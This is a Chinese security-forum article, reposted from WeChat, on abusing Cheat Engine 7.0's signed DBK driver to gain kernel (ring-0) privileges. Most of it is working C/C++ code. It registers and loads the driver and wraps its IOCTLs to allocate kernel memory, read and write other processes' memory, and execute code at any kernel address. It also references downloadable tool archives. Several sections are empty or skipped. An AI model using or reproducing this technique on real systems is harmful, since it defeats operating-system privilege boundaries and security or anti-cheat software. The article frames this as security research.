一
分析CE7.0的DBK驱动
这里提供了分配/释放非分页内存的功能:
case IOCTL_CE_ALLOCATEMEM_NONPAGED:
{
struct input
{
ULONG Size;
} *inp;
PVOID address;
int size;
inp=Irp->AssociatedIrp.SystemBuffer;
size=inp->Size;
address=ExAllocatePool(NonPagedPool,size);
*(PUINT64)Irp->AssociatedIrp.SystemBuffer=0;
*(PUINT_PTR)Irp->AssociatedIrp.SystemBuffer=(UINT_PTR)address;
if (address==0)
ntStatus=STATUS_UNSUCCESSFUL;
else
{
DbgPrint("Alloc success. Cleaning memory... (size=%d)n",size);
DbgPrint("address=%pn", address);
RtlZeroMemory(address, size);
ntStatus=STATUS_SUCCESS;
}
break;
}
case IOCTL_CE_FREE_NONPAGED:
{
struct input
{
UINT64 Address;
} *inp;
inp = Irp->AssociatedIrp.SystemBuffer;
ExFreePool((PVOID)(UINT_PTR)inp->Address);
ntStatus = STATUS_SUCCESS;
break;
}
case IOCTL_CE_EXECUTE_CODE:
{
typedef NTSTATUS (*PARAMETERLESSFUNCTION)(UINT64 parameters);
PARAMETERLESSFUNCTION functiontocall;
struct input
{
UINT64functionaddress; //function address to call
UINT64parameters;
} *inp=Irp->AssociatedIrp.SystemBuffer;
DbgPrint("IOCTL_CE_EXECUTE_CODEn");
functiontocall=(PARAMETERLESSFUNCTION)(UINT_PTR)(inp->functionaddress);
__try
{
ntStatus=functiontocall(inp->parameters);
DbgPrint("Still aliven");
ntStatus=STATUS_SUCCESS;
}
__except(1)
{
DbgPrint("Exception occuredn");
ntStatus=STATUS_UNSUCCESSFUL;
}
break;
}
二
思路
三
详细步骤
// 写相关注册表
HKEY hKey;
std::wstring subKey = Format(L"SYSTEM\CurrentControlSet\Services\%ws", DBK_SERVICE_NAME);
LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey.c_str(), 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS != status)
{
LOG("RegOpenKeyEx failed");
CloseServiceHandle(hService);
CloseServiceHandle(hMgr);
return false;
}
std::wstring AValue = Format(L"\Device\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"A", 0, REG_SZ, reinterpret_cast<const BYTE*>(AValue.data()), AValue.size() * sizeof(wchar_t));
std::wstring BValue = Format(L"\DosDevices\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"B", 0, REG_SZ, reinterpret_cast<const BYTE*>(BValue.data()), BValue.size() * sizeof(wchar_t));
std::wstring CValue = Format(L"\BaseNamedObjects\%ws", DBK_PROCESS_EVENT_NAME);
RegSetValueEx(hKey, L"C", 0, REG_SZ, reinterpret_cast<const BYTE*>(CValue.data()), CValue.size() * sizeof(wchar_t));
std::wstring DValue = Format(L"\BaseNamedObjects\%ws", DBK_THREAD_EVENT_NAME);
RegSetValueEx(hKey, L"D", 0, REG_SZ, reinterpret_cast<const BYTE*>(DValue.data()), DValue.size() * sizeof(wchar_t));
3、利用DBK驱动提供的功能
下面是分配/释放内核中的非分页内存的代码:
UINT64 DBK_AllocNonPagedMem(ULONG size)
{
#pragma pack(1)
struct InputBuffer
{
ULONG size;
};
#pragma pack()
InputBuffer inputBuffer;
inputBuffer.size = size;
UINT64 allocAddress = 0LL;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_ALLOCATEMEM_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), &allocAddress, sizeof(allocAddress), &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_ALLOCATEMEM_NONPAGED failed");
return 0;
}
return allocAddress;
}
bool DBK_FreeNonPagedMem(UINT64 allocAddress)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 address;
};
#pragma pack()
InputBuffer inputBuffer;
inputBuffer.address = allocAddress;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_FREE_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_FREE_NONPAGED failed");
return false;
}
return true;
}
bool DBK_ReadProcessMem(UINT64 pid, UINT64 toAddr, UINT64 fromAddr, DWORD size, bool failToContinue)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 processid;
UINT64 startaddress;
WORD bytestoread;
};
#pragma pack()
UINT64 remaining = size;
UINT64 offset = 0;
do
{
UINT64 toRead = remaining;
if (remaining > 4096)
{
toRead = 4096;
}
InputBuffer inputBuffer;
inputBuffer.processid = pid;
inputBuffer.startaddress = fromAddr + offset;
inputBuffer.bytestoread = toRead;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_READMEMORY, (LPVOID)&inputBuffer, sizeof(inputBuffer), (LPVOID)(toAddr + offset), toRead, &retSize, NULL))
{
if (!failToContinue)
{
LOG("DeviceIoControl IOCTL_CE_READMEMORY failed");
return false;
}
}
remaining -= toRead;
offset += toRead;
} while (remaining > 0);
return true;
}
bool DBK_WriteProcessMem(UINT64 pid, UINT64 targetAddr, UINT64 srcAddr, DWORD size)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 processid;
UINT64 startaddress;
WORD bytestowrite;
};
#pragma pack()
UINT64 remaining = size;
UINT64 offset = 0;
do
{
UINT64 toWrite = remaining;
if (remaining > (512 - sizeof(InputBuffer)))
{
toWrite = 512 - sizeof(InputBuffer);
}
InputBuffer* pInputBuffer = (InputBuffer*)malloc(toWrite + sizeof(InputBuffer));
if (NULL == pInputBuffer)
{
LOG("malloc failed");
return false;
}
pInputBuffer->processid = pid;
pInputBuffer->startaddress = targetAddr + offset;
pInputBuffer->bytestowrite = toWrite;
memcpy((PCHAR)pInputBuffer + sizeof(InputBuffer), (PCHAR)srcAddr + offset, toWrite);
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_WRITEMEMORY, (LPVOID)pInputBuffer, (sizeof(InputBuffer) + toWrite), NULL, 0, &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_WRITEMEMORY failed");
free(pInputBuffer);
return false;
}
free(pInputBuffer);
remaining -= toWrite;
offset += toWrite;
} while (remaining > 0);
return true;
}
bool DBK_ExecuteCode(UINT64 address)
{
#pragma pack(1)
struct InputBuffer
{
UINT64 address;
UINT64 parameters;
};
#pragma pack()
InputBuffer inputBuffer;
inputBuffer.address = address;
inputBuffer.parameters = 0;
DWORD retSize;
if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_EXECUTE_CODE, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
{
LOG("DeviceIoControl IOCTL_CE_EXECUTE_CODE failed");
return false;
}
return true;
}
(具体代码太多了,就不展示了)
5、创建驱动项目

extern "C" NTSTATUS DriverEntry(
IN PDRIVER_OBJECT pDriverObject,
IN PUNICODE_STRING pRegistryPath)
{
KdPrint(("Enter DriverEntryn"));
KdPrint(("Leave DriverEntryn"));
return STATUS_SUCCESS;
}
四
结果
上图中的成果见附件CECheater.7z。
代码见附件code.7z。
看雪ID:昵称好麻烦
https://bbs.kanxue.com/user-home-825829.htm
#
原文始发于微信公众号(看雪学苑):利用CE的DBK驱动获取R0权限
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论